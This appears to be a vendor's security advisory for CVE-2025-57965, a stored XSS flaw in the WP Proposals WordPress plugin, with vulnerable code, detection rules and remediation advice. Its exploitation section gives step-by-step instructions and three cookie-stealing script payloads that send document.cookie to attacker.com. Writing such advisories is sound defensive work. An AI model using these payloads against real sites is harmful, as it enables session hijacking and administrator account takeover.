CVE-2025-57965
Executive Summary
CVE-2025-57965 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Proposals plugin for WordPress, developed by WP CodeUs. The flaw exists in versions up to and including 2.3, where user-supplied input is not properly neutralized during web page generation. This allows an authenticated attacker with contributor-level privileges or higher to inject malicious scripts that are stored on the server and executed in the browsers of other users (including administrators) when they view the compromised proposal page.
The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation) and carries a CVSS v3.1 score of 6.5 (Medium). The EPSS probability is 0.0%, indicating low active exploitation in the wild, but the lack of a patch makes it a persistent risk for any WordPress site using this plugin.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The WP Proposals plugin is used to manage client proposals, quotes, and contracts. The stored XSS vector is triggered through proposal fields (e.g., title, description, or custom fields) that are not sanitized before being rendered in the admin dashboard or front-end. Attackers can leverage this to steal session cookies, perform actions on behalf of administrators, or deface the site.
CVSS Breakdown & Threat Level
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Privileges Required (PR) | Low (L) – requires contributor role |
| User Interaction (UI) | Required (R) – victim must view the page |
| Scope (S) | Changed (C) – impacts resources beyond the vulnerable component |
| Confidentiality (C) | Low (L) |
| Integrity (I) | Low (L) |
| Availability (A) | Low (L) |
| Base Score | 6.5 (Medium) |
Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the stored nature of the XSS and the lack of a patch elevate the long-term threat for unmaintained sites.
Deep Dive & Mechanics
The vulnerability resides in the wp-proposals plugin's handling of proposal data. When a user submits or edits a proposal (e.g., via the [wp_proposals] shortcode or admin panel), the plugin stores the input directly into the WordPress database without proper sanitization or output encoding. Specifically, fields such as proposal_title, proposal_content, or custom meta fields are vulnerable.
Attack Flow:
- An attacker with contributor-level access creates a new proposal.
- In the proposal title or content field, the attacker injects a malicious payload, e.g.:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - The plugin stores this payload in the
wp_postsorwp_postmetatable. - When an administrator or other user views the proposal (e.g., via the admin dashboard or front-end), the script executes in their browser context.
- The attacker can then exfiltrate session cookies, perform actions on behalf of the victim, or redirect to phishing pages.
Root Cause: The plugin uses echo or the_content filter without applying esc_html() or wp_kses() to user-supplied data. The lack of output encoding allows HTML/JavaScript to be rendered.
Vulnerable vs. Patched Code
Vulnerable Code (wp-proposals/includes/class-proposal.php, line ~120):
function display_proposal_title($proposal_id) {
$title = get_post_meta($proposal_id, 'proposal_title', true);
echo '<h2>' . $title . '</h2>'; // No sanitization
}
Patched Code (hypothetical):
function display_proposal_title($proposal_id) {
$title = get_post_meta($proposal_id, 'proposal_title', true);
echo '<h2>' . esc_html($title) . '</h2>'; // Output encoded
}
The patch would require adding esc_html() or wp_kses_post() to all output functions that render user-supplied proposal data. Since no official patch exists, site administrators must manually apply this fix or disable the plugin.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress site with WP Proposals <= 2.3 installed and active.
- Attacker account with at least Contributor role.
Step-by-Step Exploit:
- Log in as a contributor.
- Navigate to
WP Admin > Proposals > Add New. - In the "Proposal Title" field, enter:
<script>new Image().src='https://attacker.com/log?c='+document.cookie</script> - Publish the proposal.
- Send the proposal link to an administrator (e.g., via email or internal messaging).
- When the admin views the proposal, the script executes and sends their cookies to the attacker's server.
Alternative Payload (Session Hijacking):
<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
Blue Team (Detection & Hardening)
Detection:
- Monitor for proposals containing
<script>tags or unusual HTML entities. - Use a Web Application Firewall (WAF) rule to block XSS patterns in POST data to
/wp-admin/admin-ajax.phporwp-admin/post.php.
Hardening:
- Disable the WP Proposals plugin immediately if not critical.
- Apply a virtual patch via WAF (e.g., ModSecurity rule):
SecRule ARGS "@rx <script" "id:1001,phase:2,deny,status:403,msg:'XSS Attempt Blocked'" - Restrict contributor roles from creating proposals using a plugin like "User Role Editor".
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to attacker-controlled domains containing
?cookie=or?c=parameters. - File System: Presence of unexpected JavaScript in
wp_postmetatable forproposal_titleorproposal_contentmeta keys. - Logs: WordPress debug log entries showing
wp_ksesfailures or unusual HTML in post content. - Browser: Unusual redirects or pop-ups when viewing proposal pages.
Example IOC (Database Query):
SELECT * FROM wp_postmeta WHERE meta_key LIKE '%proposal%' AND meta_value LIKE '%<script%';
Detection Engineering
YARA Rule
rule wp_proposals_stored_xss {
meta:
description = "Detects stored XSS payloads in WP Proposals plugin"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-57965"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /on\w+\s*=\s*["'][^"']*["']/is
$xss3 = /javascript\s*:/is
condition:
any of ($xss*) and filesize < 10KB
}
Sigma Rule
title: WP Proposals Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WP Proposals plugin database entries
author: Valters IT
logsource:
category: application
product: wordpress
detection:
selection:
post_type: 'proposal'
post_content|contains:
- '<script'
- 'onload='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in proposal content (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-57965 WP Proposals Stored XSS Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/log?c="; http_uri; nocase; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and delete
wp-proposalsfrom the WordPress admin panel. - Apply virtual patch: Use a WAF to block XSS patterns in proposal-related POST requests.
- Audit existing proposals: Search for malicious content in the database using the IOC query above.
Long-Term Fix:
- Since no official patch exists, consider migrating to an alternative proposal plugin (e.g., "WP Proposal Manager" or "QuoteUp").
- If the plugin is critical, fork the code and manually add output encoding (
esc_html(),wp_kses_post()) to all user-facing fields.
User Education:
- Train contributors to avoid pasting untrusted content into proposal fields.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact:
Header set Content-Security-Policy "default-src 'self'; script-src 'self'"
Valters IT
Securing WordPress, One Plugin at a Time
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.